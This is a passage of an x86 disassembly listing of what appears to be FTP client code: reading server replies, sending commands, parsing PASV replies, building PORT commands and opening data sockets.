XREF: sub_13D6C30+22Bj mov eax, [esp+24h+arg_4] pop edi mov [eax], esi pop esi pop ebp mov eax, 1 pop ebx add esp, 14h retn sub_13D6C30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D6F30 proc near ; CODE XREF: sub_13D6C30+221p ; sub_13D75C0+C6p ... var_8 = byte ptr -8 var_5 = byte ptr -5 var_4 = byte ptr -4 arg_0 = byte ptr 4 arg_4 = dword ptr 8 sub esp, 8 push ebx push ebp push esi push edi mov edi, [esp+18h+arg_4] push edi push 100h lea esi, [edi+44h] push esi call sub_13D7070 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_13D6F6A loc_13D6F52: ; CODE XREF: sub_13D6F30+8Ej ; sub_13D6F30+D9j push offset dword_44548C call perror ; perror add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_13D6F6A: ; CODE XREF: sub_13D6F30+20j mov eax, ds:dword_102C584 mov ebx, fprintf cmp eax, 1 jle short loc_13D6F8E mov eax, _iob push esi add eax, 40h push offset dword_4435F0 push eax call ebx ; fprintf add esp, 0Ch loc_13D6F8E: ; CODE XREF: sub_13D6F30+48j cmp byte ptr [edi+47h], 2Dh jnz short loc_13D700E push 3 lea ecx, [esp+1Ch+var_8] push esi push ecx call strncpy ; strncpy push edi push 100h push esi mov [esp+30h+var_5], 20h mov [esp+30h+var_4], 0 call sub_13D7070 add esp, 18h cmp eax, 0FFFFFFFFh jz short loc_13D6F52 mov ebp, strncmp loc_13D6FC6: ; CODE XREF: sub_13D6F30+D7j cmp ds:dword_102C584, 1 jle short loc_13D6FE4 mov edx, _iob push esi add edx, 40h push offset dword_4435F0 push edx call ebx ; fprintf add esp, 0Ch loc_13D6FE4: ; CODE XREF: sub_13D6F30+9Dj lea eax, [esp+18h+var_8] push 4 push eax push esi call ebp ; strncmp add esp, 0Ch test eax, eax jz short loc_13D700E push edi push 100h push esi call sub_13D7070 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_13D6FC6 jmp loc_13D6F52 ; --------------------------------------------------------------------------- loc_13D700E: ; CODE XREF: sub_13D6F30+62j ; sub_13D6F30+C3j mov cl, [esi] mov dl, [esp+18h+arg_0] xor eax, eax pop edi cmp cl, dl pop esi pop ebp pop ebx setz al add esp, 8 retn sub_13D6F30 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D7070 proc near ; CODE XREF: sub_13D6F30+15p ; sub_13D6F30+83p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 8 push ebx push ebp mov ebp, [esp+10h+arg_0] push esi mov esi, [esp+14h+arg_8] xor ecx, ecx push edi mov [esp+18h+var_8], ecx mov eax, [esi+18h] mov [esp+18h+var_4], ecx cmp eax, ecx jz short loc_13D70A0 cmp eax, 1 jz short loc_13D70A0 pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_13D70A0: ; CODE XREF: sub_13D7070+1Ej ; sub_13D7070+23j mov ebx, [esp+18h+arg_4] cmp ebx, ecx jnz short loc_13D70B2 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_13D70B2: ; CODE XREF: sub_13D7070+36j ; sub_13D7070+115j mov edi, [esi+0Ch] test edi, edi jle short loc_13D7103 cmp ebx, edi jge short loc_13D70C0 lea edi, [ebx-1] loc_13D70C0: ; CODE XREF: sub_13D7070+4Bj mov eax, [esi+4] push edi push 0Ah push eax push ebp call _memccpy ; _memccpy add esp, 10h test eax, eax jz short loc_13D70D9 mov edi, eax sub edi, ebp loc_13D70D9: ; CODE XREF: sub_13D7070+63j mov edx, [esp+18h+var_8] add ebp, edi add edx, edi sub ebx, edi mov [esp+18h+var_8], edx mov byte ptr [ebp+0], 0 mov ecx, [esi+4] mov edx, [esi+0Ch] add ecx, edi sub edx, edi test eax, eax mov [esi+4], ecx mov [esi+0Ch], edx jnz loc_13D718A loc_13D7103: ; CODE XREF: sub_13D7070+47j cmp ebx, 1 jz loc_13D71DD mov ecx, [esi] mov eax, [esi+4] cmp ecx, eax jnz short loc_13D712B mov eax, [esi+14h] mov dword ptr [esi+0Ch], 0 mov [esi+4], eax mov [esi], eax mov dword ptr [esi+10h], 2000h loc_13D712B: ; CODE XREF: sub_13D7070+A3j mov eax, [esp+18h+var_4] test eax, eax jnz loc_13D71F0 push esi call sub_13D72A0 add esp, 4 test eax, eax jz loc_13D7222 mov edx, [esi+10h] mov eax, [esi] mov ecx, [esi+8] push 0 push edx push eax push ecx call near ptr 13E131Ah cmp eax, 0FFFFFFFFh jz loc_13D720C test eax, eax jnz short loc_13D716F mov [esp+18h+var_4], 1 loc_13D716F: ; CODE XREF: sub_13D7070+F5j mov edi, [esi+10h] mov edx, [esi+0Ch] mov ecx, [esi] sub edi, eax add edx, eax add ecx, eax mov [esi+10h], edi mov [esi+0Ch], edx mov [esi], ecx jmp loc_13D70B2 ; --------------------------------------------------------------------------- loc_13D718A: ; CODE XREF: sub_13D7070+8Dj sub ebp, 2 mov esi, offset dword_445240 mov eax, ebp loc_13D7194: ; CODE XREF: sub_13D7070+146j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_13D71BC test cl, cl jz short loc_13D71B8 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_13D71BC add eax, 2 add esi, 2 test cl, cl jnz short loc_13D7194 loc_13D71B8: ; CODE XREF: sub_13D7070+130j xor eax, eax jmp short loc_13D71C1 ; --------------------------------------------------------------------------- loc_13D71BC: ; CODE XREF: sub_13D7070+12Cj ; sub_13D7070+13Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_13D71C1: ; CODE XREF: sub_13D7070+14Aj test eax, eax jnz short loc_13D7222 mov byte ptr [ebp+0], 0Ah mov [ebp+1], al mov eax, [esp+18h+var_8] pop edi dec eax pop esi pop ebp mov [esp+0Ch+var_8], eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_13D71DD: ; CODE XREF: sub_13D7070+96j mov eax, [esp+18h+arg_0] pop edi pop esi pop ebp mov byte ptr [eax], 0 mov eax, [esp+0Ch+var_8] pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_13D71F0: ; CODE XREF: sub_13D7070+C1j mov eax, [esp+18h+var_8] test eax, eax jnz short loc_13D7222 pop edi mov [esp+14h+var_8], 0FFFFFFFFh mov eax, [esp+14h+var_8] pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_13D720C: ; CODE XREF: sub_13D7070+EDj push offset dword_4454AC call perror ; perror add esp, 4 mov [esp+18h+var_8], 0FFFFFFFFh loc_13D7222: ; CODE XREF: sub_13D7070+D2j ; sub_13D7070+153j ... mov eax, [esp+18h+var_8] pop edi pop esi pop ebp pop ebx add esp, 8 retn sub_13D7070 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D72A0 proc near ; CODE XREF: sub_13D7070+C8p ; sub_13D8090:loc_13D80BDp ... var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 10Ch push ebx push ebp push esi mov esi, [esp+118h+arg_0] xor ebx, ebx xor ebp, ebp mov eax, [esi+18h] test eax, eax jz loc_13D7383 mov ecx, [esi+30h] test ecx, ecx jz loc_13D7383 cmp eax, 2 jnz short loc_13D72D5 lea ebp, [esp+118h+var_104] jmp short loc_13D72D9 ; --------------------------------------------------------------------------- loc_13D72D5: ; CODE XREF: sub_13D72A0+2Dj lea ebx, [esp+118h+var_104] loc_13D72D9: ; CODE XREF: sub_13D72A0+33j xor eax, eax push edi mov [esp+11Ch+var_104], eax loc_13D72E0: ; CODE XREF: sub_13D72A0+98j cmp eax, 40h jnb short loc_13D72F5 mov ecx, [esi+8] mov [esp+eax*4+11Ch+var_100], ecx mov eax, [esp+11Ch+var_104] inc eax mov [esp+11Ch+var_104], eax loc_13D72F5: ; CODE XREF: sub_13D72A0+43j mov edx, [esi+28h] mov eax, [esi+2Ch] lea ecx, [esp+11Ch+var_10C] mov [esp+11Ch+var_10C], edx mov edx, [esi+8] push ecx push 0 push ebp inc edx push ebx push edx mov [esp+130h+var_108], eax call near ptr 13E1332h cmp eax, 0FFFFFFFFh jz short loc_13D733A test eax, eax jg short loc_13D7371 mov eax, [esi+34h] mov ecx, [esi+38h] push eax push ecx push esi call dword ptr [esi+30h] mov edi, eax add esp, 0Ch test edi, edi jz short loc_13D7376 mov eax, [esp+11Ch+var_104] jmp short loc_13D72E0 ; --------------------------------------------------------------------------- loc_13D733A: ; CODE XREF: sub_13D72A0+79j push 100h xor edi, edi call _errno ; _errno mov edx, [eax] push edx call strerror ; strerror add esp, 4 push eax mov eax, [esi+1Ch] add eax, 44h push eax call strncpy ; strncpy add esp, 0Ch mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_13D7371: ; CODE XREF: sub_13D72A0+7Dj mov edi, 1 loc_13D7376: ; CODE XREF: sub_13D72A0+92j mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_13D7383: ; CODE XREF: sub_13D72A0+19j ; sub_13D72A0+24j pop esi pop ebp mov eax, 1 pop ebx add esp, 10Ch retn sub_13D72A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D73E0 proc near ; CODE XREF: sub_13AB810j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] xor ecx, ecx dec eax cmp eax, 4 ; switch 5 cases ja loc_13D748F ; default jmp off_42D094[eax*4] ; switch jump ; --------------------------------------------------------------------------- mov eax, [esp+arg_4] cmp eax, 1 jz short loc_13D7409 cmp eax, 2 jnz loc_13D748F ; default loc_13D7409: ; CODE XREF: sub_13D73E0+1Ej mov ecx, [esp+arg_8] mov [ecx+24h], eax mov ecx, 1 mov eax, ecx retn ; --------------------------------------------------------------------------- mov edx, [esp+arg_8] mov eax, [esp+arg_4] mov ecx, 1 mov [edx+30h], eax mov eax, ecx retn ; --------------------------------------------------------------------------- push esi mov esi, [esp+4+arg_4] mov eax, 10624DD3h push edi imul esi mov edi, [esp+8+arg_8] mov ecx, 1 sar edx, 6 mov eax, edx shr eax, 1Fh add edx, eax mov eax, esi mov [edi+28h], edx mov esi, 3E8h cdq idiv esi lea eax, [edx+edx*4] lea eax, [eax+eax*4] lea edx, [eax+eax*4] mov eax, ecx shl edx, 3 mov [edi+2Ch], edx pop edi pop esi retn ; --------------------------------------------------------------------------- mov eax, [esp+arg_8] mov edx, [esp+arg_4] mov ecx, 1 mov [eax+34h], edx mov eax, ecx retn ; --------------------------------------------------------------------------- mov eax, [esp+arg_8] mov edx, [esp+arg_4] mov ecx, 1 mov [eax+3Ch], edx loc_13D748F: ; CODE XREF: sub_13D73E0+Aj ; sub_13D73E0+23j mov eax, ecx ; default retn sub_13D73E0 endp ; --------------------------------------------------------------------------- db 8Bh, 0FFh dd offset dword_40161C+2B9DBh dd offset dword_40161C+2B9FCh dd offset dword_40161C+2BA0Fh dd offset dword_40161C+2BA50h dd offset dword_40161C+2BA63h db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D74F0 proc near ; CODE XREF: sub_13AC643j var_40 = byte ptr -40h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] sub esp, 40h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_13D7581 mov ebx, [esp+4Ch+arg_4] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_13D7581 mov edi, sprintf push edx lea eax, [esp+50h+var_40] push offset dword_4454C0 push eax call edi ; sprintf mov esi, [esp+58h+arg_8] lea ecx, [esp+58h+var_40] push esi push 33h push ecx call sub_13D75C0 add esp, 18h test eax, eax jnz short loc_13D755D mov cl, [esi+44h] pop edi cmp cl, 32h pop esi setz al pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_13D755D: ; CODE XREF: sub_13D74F0+5Bj push ebx lea edx, [esp+50h+var_40] push offset dword_4454B4 push edx call edi ; sprintf push esi lea eax, [esp+5Ch+var_40] push 32h push eax call sub_13D75C0 add esp, 18h pop edi pop esi pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_13D7581: ; CODE XREF: sub_13D74F0+1Bj ; sub_13D74F0+30j pop edi pop esi xor eax, eax pop ebx add esp, 40h retn sub_13D74F0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D75C0 proc near ; CODE XREF: sub_13D74F0+51p ; sub_13D74F0+82p ... var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 100h push ebx mov ebx, [esp+104h+arg_8] push esi push edi mov eax, [ebx+18h] test eax, eax jz short loc_13D75E3 pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_13D75E3: ; CODE XREF: sub_13D75C0+15j mov eax, ds:dword_102C584 mov esi, [esp+10Ch+arg_0] cmp eax, 2 jle short loc_13D760C mov eax, _iob push esi add eax, 40h push offset dword_4454D4 push eax call fprintf ; fprintf add esp, 0Ch loc_13D760C: ; CODE XREF: sub_13D75C0+32j mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 2 cmp ecx, 100h jbe short loc_13D762C pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_13D762C: ; CODE XREF: sub_13D75C0+60j push esi lea ecx, [esp+110h+var_100] push offset dword_443CF4 push ecx call sprintf ; sprintf lea edi, [esp+118h+var_100] or ecx, 0FFFFFFFFh xor eax, eax add esp, 0Ch repne scasb mov eax, [ebx+8] push 0 not ecx dec ecx lea edx, [esp+110h+var_100] push ecx push edx push eax call near ptr 13E1320h test eax, eax jg short loc_13D767D push offset dword_4454CC call perror ; perror add esp, 4 xor eax, eax pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_13D767D: ; CODE XREF: sub_13D75C0+A1j mov ecx, [esp+10Ch+arg_4] push ebx push ecx call sub_13D6F30 add esp, 8 pop edi pop esi pop ebx add esp, 100h retn sub_13D75C0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D76E0 proc near ; CODE XREF: sub_13AC355j var_100 = dword ptr -100h var_FC = byte ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 100h push ebx push ebp push esi mov esi, [esp+10Ch+arg_0] push edi mov edi, [esp+110h+arg_4] test esi, esi jnz short loc_13D772C cmp edi, 4 jz short loc_13D7706 cmp edi, 3 jnz short loc_13D772C loc_13D7706: ; CODE XREF: sub_13D76E0+1Fj mov eax, [esp+110h+arg_C] push offset dword_445520 add eax, 44h push eax call sprintf ; sprintf add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_13D772C: ; CODE XREF: sub_13D76E0+1Aj ; sub_13D76E0+24j mov ecx, [esp+110h+arg_8] mov ebp, sprintf push ecx lea edx, [esp+114h+var_100] push offset dword_445514 push edx call ebp ; sprintf mov ebx, [esp+11Ch+arg_C] lea eax, [esp+11Ch+var_100] push ebx push 32h push eax call sub_13D75C0 add esp, 18h test eax, eax jz loc_13D78EE lea eax, [edi-1] ; switch 4 cases cmp eax, 3 ja loc_13D78DF ; default jmp off_42D4FC[eax*4] ; switch jump ; --------------------------------------------------------------------------- mov ecx, ds:dword_44550C mov dl, ds:byte_445510 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 1 jmp short loc_13D77E0 ; --------------------------------------------------------------------------- mov eax, ds:dword_445504 mov cl, ds:byte_445508 mov [esp+110h+var_100], eax mov [esp+110h+var_FC], cl mov ebp, 1 jmp short loc_13D77E0 ; --------------------------------------------------------------------------- mov edx, ds:dword_4454FC mov al, ds:byte_445500 mov [esp+110h+var_100], edx mov [esp+110h+var_FC], al mov ebp, 1 jmp short loc_13D77E0 ; --------------------------------------------------------------------------- mov ecx, ds:dword_4454F4 mov dl, ds:byte_4454F8 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 2 loc_13D77E0: ; CODE XREF: sub_13D76E0+B1j ; sub_13D76E0+CBj ... test esi, esi jz short loc_13D7833 lea edi, [esp+110h+var_100] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh mov byte ptr [esp+edx+110h+var_100], 20h inc edx repne scasb not ecx dec ecx add ecx, edx cmp ecx, 100h jnb loc_13D78EE mov edi, esi or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx lea edx, [esp+edx+110h+var_100] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_13D7833: ; CODE XREF: sub_13D76E0+102j mov ecx, [esp+110h+arg_8] mov esi, [esp+110h+arg_10] push ebp push ecx push esi push ebx call sub_13D79A0 add esp, 10h cmp eax, 0FFFFFFFFh jz loc_13D78EE push ebx lea edx, [esp+114h+var_100] push 31h push edx call sub_13D75C0 add esp, 0Ch test eax, eax jnz short loc_13D7888 mov eax, [esi] push eax call sub_13ABFDB add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_13D7888: ; CODE XREF: sub_13D76E0+188j mov ecx, [esi] mov [ecx+1Ch], ebx mov eax, [ebx+24h] mov edx, [esi] cmp eax, 2 mov [ebx+20h], edx jnz short loc_13D78CF mov eax, [esi] push ebx push eax call sub_13D7E80 add esp, 8 test eax, eax jnz short loc_13D78CF mov ecx, [esi] push ecx call sub_13ABFDB add esp, 4 mov dword ptr [esi], 0 mov dword ptr [ebx+20h], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_13D78CF: ; CODE XREF: sub_13D76E0+1B8j ; sub_13D76E0+1C8j pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_13D78DF: ; CODE XREF: sub_13D76E0+8Bj push edi ; default add ebx, 44h push offset dword_4454D8 push ebx call ebp ; sprintf add esp, 0Ch loc_13D78EE: ; CODE XREF: sub_13D76E0+7Fj ; sub_13D76E0+12Cj ... pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 100h retn sub_13D76E0 endp ; --------------------------------------------------------------------------- align 4 dd offset dword_42D378 dd offset byte_42D393 dd offset byte_42D3AD dd offset byte_42D3C7 db 4 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D79A0 proc near ; CODE XREF: sub_13D76E0+165p var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = word ptr -120h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_114 = byte ptr -114h var_110 = byte ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_104 = byte ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 134h push ebx mov ebx, [esp+138h+arg_0] push ebp push esi mov eax, [ebx+18h] xor ebp, ebp mov esi, 1 cmp eax, ebp push edi mov [esp+144h+var_120], bp mov [esp+144h+var_11E], bp mov [esp+144h+var_11C], esi jnz loc_13D7CC4 mov eax, [esp+144h+arg_C] cmp eax, esi jz short loc_13D7A02 cmp eax, 2 jz short loc_13D7A02 push eax add ebx, 44h push offset dword_4455C4 push ebx call sprintf ; sprintf add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_13D7A02: ; CODE XREF: sub_13D79A0+3Aj ; sub_13D79A0+3Fj mov eax, [esp+144h+arg_8] cmp eax, 41h jz short loc_13D7A34 cmp eax, 49h jz short loc_13D7A34 push eax add ebx, 44h push offset dword_4455B0 push ebx call sprintf ; sprintf add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_13D7A34: ; CODE XREF: sub_13D79A0+6Cj ; sub_13D79A0+71j mov eax, [ebx+24h] mov [esp+144h+var_124], 10h cmp eax, esi jnz loc_13D7B19 xor eax, eax push ebx mov [esp+148h+var_134], eax push 32h mov [esp+14Ch+var_130], eax push offset dword_4455A8 mov [esp+150h+var_12C], eax mov word ptr [esp+150h+var_134], 2 mov [esp+150h+var_128], eax call sub_13D75C0 add esp, 0Ch test eax, eax jz loc_13D7CC4 lea ecx, [ebx+44h] push 28h push ecx call strchr ; strchr add esp, 8 cmp eax, ebp jz loc_13D7CC4 lea edx, [esp+144h+var_114] lea ecx, [esp+144h+var_118] push edx push ecx lea edx, [esp+14Ch+var_104] lea ecx, [esp+14Ch+var_108] push edx push ecx lea edx, [esp+154h+var_10C] lea ecx, [esp+154h+var_110] push edx push ecx inc eax push offset dword_445590 push eax call sscanf ; sscanf mov dl, [esp+164h+var_110] mov al, [esp+164h+var_10C] mov cl, [esp+164h+var_108] mov byte ptr [esp+164h+var_130], dl mov dl, [esp+164h+var_104] mov byte ptr [esp+164h+var_130+1], al mov al, [esp+164h+var_118] mov byte ptr [esp+164h+var_130+2], cl mov cl, [esp+164h+var_114] add esp, 20h mov byte ptr [esp+144h+var_130+3], dl mov byte ptr [esp+144h+var_134+2], al mov byte ptr [esp+144h+var_134+3], cl loc_13D7AED: ; CODE XREF: sub_13D79A0+18Ej push 6 push esi push 2 call near ptr 13E135Ch mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_13D7B4B push offset dword_445460 call perror ; perror add esp, 4 or eax, edi pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_13D7B19: ; CODE XREF: sub_13D79A0+A1j mov ecx, [ebx+8] lea edx, [esp+144h+var_124] lea eax, [esp+144h+var_134] push edx push eax push ecx call near ptr 13E134Ah test eax, eax jge short loc_13D7AED push offset dword_445580 call perror ; perror add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_13D7B4B: ; CODE XREF: sub_13D79A0+15Cj lea edx, [esp+144h+var_11C] push 4 push edx push 4 push 0FFFFh push edi call near ptr 13E13A4h cmp eax, 0FFFFFFFFh jnz short loc_13D7B6E push offset dword_445450 jmp loc_13D7CB5 ; --------------------------------------------------------------------------- loc_13D7B6E: ; CODE XREF: sub_13D79A0+1C2j lea eax, [esp+144h+var_120] push 4 push eax push 80h push 0FFFFh push edi call near ptr 13E13A4h cmp eax, 0FFFFFFFFh jnz short loc_13D7B94 push offset dword_445450 jmp loc_13D7CB5 ; --------------------------------------------------------------------------- loc_13D7B94: ; CODE XREF: sub_13D79A0+1E8j cmp [ebx+24h], esi jnz short loc_13D7BB9 lea ecx, [esp+144h+var_134] push 10h push ecx push edi call near ptr 13E1362h cmp eax, 0FFFFFFFFh jnz loc_13D7C9B push offset dword_445250 jmp loc_13D7CB5 ; --------------------------------------------------------------------------- loc_13D7BB9: ; CODE XREF: sub_13D79A0+1F7j lea edx, [esp+144h+var_134] push 10h push edx push edi mov word ptr [esp+150h+var_134+2], bp call near ptr 13E1350h cmp eax, 0FFFFFFFFh jnz short loc_13D7BD7 push offset dword_445578 jmp short loc_13D7BE7 ; --------------------------------------------------------------------------- loc_13D7BD7: ; CODE XREF: sub_13D79A0+22Ej push esi push edi call near ptr 13E133Eh test eax, eax jge short loc_13D7C03 push offset dword_445570 loc_13D7BE7: ; CODE XREF: sub_13D79A0+235j call perror ; perror add esp, 4 push edi call near ptr 13E1326h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_13D7C03: ; CODE XREF: sub_13D79A0+240j lea eax, [esp+144h+var_124] lea ecx, [esp+144h+var_134] push eax push ecx push edi call near ptr 13E134Ah test eax, eax jge short loc_13D7C24 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_13D7C24: ; CODE XREF: sub_13D79A0+275j mov edx, [esp+144h+var_134+3] mov eax, [esp+144h+var_134+2] mov ecx, [esp+144h+var_130+3] and edx, 0FFh and eax, 0FFh push edx mov edx, [esp+148h+var_130+2] and ecx, 0FFh push eax mov eax, [esp+14Ch+var_130+1] push ecx mov ecx, [esp+150h+var_130] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+15Ch+var_100] push offset dword_445554 push edx call sprintf ; sprintf push ebx lea eax, [esp+168h+var_100] push 32h push eax call sub_13D75C0 add esp, 2Ch test eax, eax jnz short loc_13D7C9B push edi call near ptr 13E1326h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_13D7C9B: ; CODE XREF: sub_13D79A0+209j ; sub_13D79A0+2E6j push 144h push esi call calloc ; calloc mov esi, eax add esp, 8 cmp esi, ebp jnz short loc_13D7CD2 push offset dword_445448 loc_13D7CB5: ; CODE XREF: sub_13D79A0+1C9j ; sub_13D79A0+1EFj ... call perror ; perror add esp, 4 push edi call near ptr 13E1326h loc_13D7CC4: ; CODE XREF: sub_13D79A0+2Bj ; sub_13D79A0+D2j ... pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_13D7CD2: ; CODE XREF: sub_13D79A0+30Ej cmp [esp+144h+arg_8], 41h jnz short loc_13D7D1D push 2000h call malloc ; malloc add esp, 4 cmp eax, ebp mov [esi+14h], eax jnz short loc_13D7D1D push offset dword_445448 call perror ; perror add esp, 4 push edi call near ptr 13E1326h push esi call free ; free add esp, 4 or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_13D7D1D: ; CODE XREF: sub_13D79A0+33Aj ; sub_13D79A0+34Fj mov ecx, [esp+144h+arg_C] mov [esi+8], edi mov [esi+18h], ecx mov edx, [ebx+28h] mov [esi+28h], edx mov eax, [ebx+2Ch] mov [esi+2Ch], eax mov ecx, [ebx+34h] mov [esi+34h], ecx mov ecx, [esi+28h] mov [esi+38h], ebp mov [esi+40h], ebp mov eax, [ebx+3Ch] cmp ecx, ebp mov [esi+3Ch], eax jnz short loc_13D7D5D cmp [esi+2Ch], ebp jnz short loc_13D7D5D cmp eax, ebp jnz short loc_13D7D5D mov [esi+30h], ebp jmp short loc_13D7D63 ; --------------------------------------------------------------------------- loc_13D7D5D: ; CODE XREF: sub_13D79A0+3ADj ; sub_13D79A0+3B2j ... mov edx, [ebx+30h] mov [esi+30h], edx loc_13D7D63: ; CODE XREF: sub_13D79A0+3BBj mov eax, [esp+144h+arg_4] pop edi mov [eax], esi pop esi pop ebp mov eax, 1 pop ebx add esp, 134h retn sub_13D79A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D7E80 proc near ; CODE XREF: sub_13D76E0+1BEp var_124 = dword ptr -124h var_120 = byte ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 124h push ebx mov ebx, [esp+128h+arg_0] push ebp push esi mov esi, [esp+130h+arg_4] mov eax, [ebx+8] xor ebp, ebp push edi mov ecx, [esi+8] mov [esp+134h+var_FC], eax cmp ecx, eax mov [esp+134h+var_100], ecx mov [esp+134h+var_104], 2 mov [esp+134h+var_118], ebp mov [esp+134h+var_11C], 1Eh jge short loc_13D7EC2 mov ecx, eax loc_13D7EC2: ; CODE XREF: sub_13D7E80+3Ej lea eax, [esp+134h+var_11C] lea edx, [esp+134h+var_104] push eax push ebp push ebp inc ecx push edx push ecx call near ptr 13E1332h cmp eax, 0FFFFFFFFh jnz short loc_13D7F18 push 100h call _errno ; _errno mov eax, [eax] push eax call strerror ; strerror add esp, 4 add esi, 44h push eax push esi call strncpy ; strncpy mov ecx, [ebx+8] add esp, 0Ch push ecx call near ptr 13E1326h pop edi mov [ebx+8], ebp pop esi pop ebp xor eax, eax pop ebx add esp, 124h retn ; --------------------------------------------------------------------------- loc_13D7F18: ; CODE XREF: sub_13D7E80+58j cmp eax, ebp jnz short loc_13D7F45 lea edi, [esi+44h] mov ecx, 8 mov esi, offset dword_4455E0 rep movsd movsb mov edx, [ebx+8] push edx call near ptr 13E1326h pop edi mov [ebx+8], ebp pop esi pop ebp xor eax, eax pop ebx add esp, 124h retn ; 